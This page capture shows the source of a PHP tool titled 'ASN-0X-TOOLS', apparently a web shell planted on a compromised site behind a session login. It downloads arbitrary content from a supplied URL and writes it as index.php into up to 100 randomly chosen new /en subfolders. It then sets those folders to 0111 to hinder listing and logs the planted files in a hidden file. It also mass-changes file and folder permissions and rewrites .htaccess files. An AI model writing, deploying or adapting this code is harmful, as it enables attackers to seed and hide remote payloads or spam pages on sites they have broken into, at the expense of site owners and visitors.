Access Required

3600) { session_destroy(); die(''); } if (isset($_GET['logout'])) { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } $rootDir = realpath(__DIR__); if (!$rootDir) { $rootDir = dirname($_SERVER['SCRIPT_FILENAME']); } $logFile = $rootDir . '/.deployed_files.log'; $defaultHtaccessCode = "# Secured by Deploy Tool\n# " . date('Y-m-d H:i:s') . "\nOptions -Indexes\n\n Order allow,deny\n Deny from all\n\n"; $message_left = ''; $message_right = ''; $message_center = ''; // ── FUNGSI: AMAN UNTUK SEMUA HOSTING function getAllFolders($dir, &$dirs = []) { if (!is_dir($dir) || !is_readable($dir)) return $dirs; $dirs[] = $dir; $items = @scandir($dir); if ($items === false) return $dirs; $exclude = ['.', '..', '.git', '.svn', 'wp-admin', 'wp-includes', 'cgi-bin', 'node_modules']; foreach ($items as $item) { if (in_array($item, $exclude)) continue; $path = $dir . '/' . $item; if (is_dir($path)) { getAllFolders($path, $dirs); } } return array_unique($dirs); } function setFolderPermissions($dir, $perm) { $count = 0; $dirs = []; getAllFolders($dir, $dirs); foreach ($dirs as $path) { if (is_dir($path) && is_writable(dirname($path))) { if (@chmod($path, $perm)) $count++; } } return $count; } function lockPhpFiles($dir) { $count = 0; $dirs = []; getAllFolders($dir, $dirs); foreach ($dirs as $d) { $items = @scandir($d); if ($items === false) continue; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $file = $d . '/' . $item; if (is_file($file) && pathinfo($file, PATHINFO_EXTENSION) === 'php') { if (is_writable($d) && @chmod($file, 0555)) $count++; } } } return $count; } function unlockPhpFiles($dir) { $count = 0; $dirs = []; getAllFolders($dir, $dirs); foreach ($dirs as $d) { $items = @scandir($d); if ($items === false) continue; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $file = $d . '/' . $item; if (is_file($file) && pathinfo($file, PATHINFO_EXTENSION) === 'php') { if (is_writable($d) && @chmod($file, 0644)) $count++; } } } return $count; } function logDeployedFiles($filePaths) { global $logFile; $existing = file_exists($logFile) ? json_decode(file_get_contents($logFile), true) : []; $merged = array_unique(array_merge($existing, $filePaths)); file_put_contents($logFile, json_encode($merged, JSON_PRETTY_PRINT)); } function getDeployedFiles() { global $logFile; if (!file_exists($logFile)) return []; $files = json_decode(file_get_contents($logFile), true); return is_array($files) ? array_values(array_filter($files, 'file_exists')) : []; } // ── PROSES PERINTAH if (isset($_POST['folder_action'])) { if ($_POST['folder_action'] === 'set_0755') { $fixed = setFolderPermissions($rootDir, 0755); $message_center = "

📁 Folder permissions set to 0755 ({$fixed} folders updated).

"; } elseif ($_POST['folder_action'] === 'lock_0555') { $locked = setFolderPermissions($rootDir, 0555); $message_center = "

🔒 Folder permissions locked to 0555 ({$locked} folders updated).

"; } } if (isset($_POST['php_action'])) { if ($_POST['php_action'] === 'lock_php') { $locked = lockPhpFiles($rootDir); $message_center = "

🔒 {$locked} .php files locked to 0555.

"; } elseif ($_POST['php_action'] === 'unlock_php') { $unlocked = unlockPhpFiles($rootDir); $message_center = "

🔓 {$unlocked} .php files unlocked to 0644.

"; } } // ── PROSES FORM KIRI (.htaccess) if (isset($_POST['action'])) { $action = $_POST['action']; $code = $_POST['htaccess_code'] ?? $defaultHtaccessCode; $getAllHtaccess = function() use ($rootDir) { $files = []; $dirs = []; getAllFolders($rootDir, $dirs); foreach ($dirs as $d) { $ht = $d . '/.htaccess'; if (file_exists($ht)) { $files[] = $ht; } } return $files; }; if ($action === 'add_all_ht') { $dirs = getAllFolders($rootDir); $created = 0; foreach ($dirs as $d) { $ht = $d . '/.htaccess'; if (!file_exists($ht)) { if (is_writable($d)) { $written = false; if (file_put_contents($ht, $code) !== false) { $written = true; } else { $fp = @fopen($ht, 'w'); if ($fp) { fwrite($fp, $code); fclose($fp); $written = true; } } if ($written) { @chmod($ht, 0644); $created++; } } } } $message_left = "

✅ .htaccess added to {$created} folders.

"; } elseif ($action === 'fix_perm') { $fixed = 0; foreach ($getAllHtaccess() as $f) { if (is_writable($f) && @chmod($f, 0644)) $fixed++; } $message_left = "🔧 Permissions set to 644."; } elseif ($action === 'lock_perm') { $locked = 0; foreach ($getAllHtaccess() as $f) { if (is_writable($f) && @chmod($f, 0555)) $locked++; } $message_left = "

🔒 Permissions set to 555.

"; } elseif ($action === 'delete_non_root') { $deleted = 0; foreach ($getAllHtaccess() as $path) { if (dirname($path) !== $rootDir) { if (!is_writable($path)) @chmod($path, 0666); if (file_exists($path) && @unlink($path)) $deleted++; } } $message_left = "

🗑️ {$deleted} .htaccess files deleted (non-root).

"; } } // ── PROSES FORM KANAN (Deploy) if (isset($_POST['deploy_url'])) { $url = trim($_POST['deploy_url']); $count = max(1, min(100, (int)($_POST['file_count'] ?? 1))); if (filter_var($url, FILTER_VALIDATE_URL)) { $content = false; if (ini_get('allow_url_fopen')) { $content = @file_get_contents($url); } elseif (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $content = curl_exec($ch); curl_close($ch); } if ($content !== false) { // 🔁 Ambil semua folder seperti logika awal $allDirs = getAllFolders($rootDir); shuffle($allDirs); $selectedDirs = array_slice($allDirs, 0, $count); $deployedPaths = []; $success = 0; foreach ($selectedDirs as $dir) { // ✅ Buat subfolder /en di dalam folder target $enDir = $dir . '/en'; if (!is_dir($enDir)) { if (!mkdir($enDir, 0755, true)) { // Jika gagal buat /en, lewati folder ini continue; } } // Tentukan nama file unik di dalam /en $filename = 'index.php'; $target = $enDir . '/' . $filename; $counter = 1; while (file_exists($target)) { $filename = 'index' . $counter . '.php'; $target = $enDir . '/' . $filename; $counter++; } if (is_writable($enDir)) { if (file_put_contents($target, $content) !== false) { @chmod($target, 0644); $deployedPaths[] = $target; $success++; // ✅ Set permission /en ke 0111 setelah file disimpan @chmod($enDir, 0111); } else { $fp = @fopen($target, 'w'); if ($fp) { fwrite($fp, $content); fclose($fp); @chmod($target, 0644); $deployedPaths[] = $target; $success++; @chmod($enDir, 0111); } } } } if ($success > 0) { logDeployedFiles($deployedPaths); $fullUrls = []; $linksHtml = ''; foreach ($deployedPaths as $path) { $rel = ltrim(str_replace($rootDir, '', $path), '/'); $rel = str_replace('\\', '/', $rel); $fullUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'] . '/' . $rel; $fullUrls[] = $fullUrl; $fileName = basename($fullUrl); $linksHtml .= '

' . htmlspecialchars($fileName) . '

'; } $displayLinks = $linksHtml; if (count($fullUrls) > 10) { $parts = explode('', trim($linksHtml, '')); $first10 = implode('', array_slice($parts, 0, 10)) . ''; $displayLinks = $first10 . '

... + ' . (count($fullUrls) - 10) . ' more

'; } $urlsText = implode("\n", $fullUrls); $listHtml = '

' . $displayLinks . '

'; $listHtml .= ''; $listHtml .= ''; $message_right = "

✅ {$success} file(s) deployed into /en subfolders.
{$listHtml}

"; } else { $message_right = "

❌ No files saved (check folder permissions).

"; } } else { $message_right = "

❌ Failed to download file.

"; } } else { $message_right = "

⚠️ Invalid URL.

"; } } // ── HAPUS & TOGGLE PERMISSION if (isset($_POST['clear_deployed'])) { $deployed = getDeployedFiles(); $deleted = 0; foreach ($deployed as $path) { if (file_exists($path)) { if (!is_writable($path)) @chmod($path, 0666); if (@unlink($path)) $deleted++; } } if (file_exists($logFile)) @unlink($logFile); $message_right = "

🗑️ {$deleted} deployed files deleted.

"; } if (isset($_POST['toggle_perm_deploy'])) { $deployed = getDeployedFiles(); $mode = $_POST['perm_mode'] ?? '644'; $perm = $mode === '555' ? 0555 : 0644; $changed = 0; foreach ($deployed as $path) { if (is_writable($path) && @chmod($path, $perm)) $changed++; } $msg = $mode === '555' ? '🔒 Deployed files: 555 (locked).' : '🔧 Deployed files: 644 (editable).'; $message_right = "

{$msg} ({$changed} files)

"; } ?> ASN-0X-TOOLS

.htaccess Manager

🚫 Block All .php Access

✅ Allow Only index/main/home.php

File Deploy Tool

🔒 Each deployed file is placed inside a /en subfolder
within deep-random directories (original behavior).
🔐 Each /en folder is set to permission 0111.
🔗 Click file names to open in browser.
📋 Use "COPY ALL URLS" to copy all links.

⚠️ Use 0555 only for read-only protection. May affect CMS updates.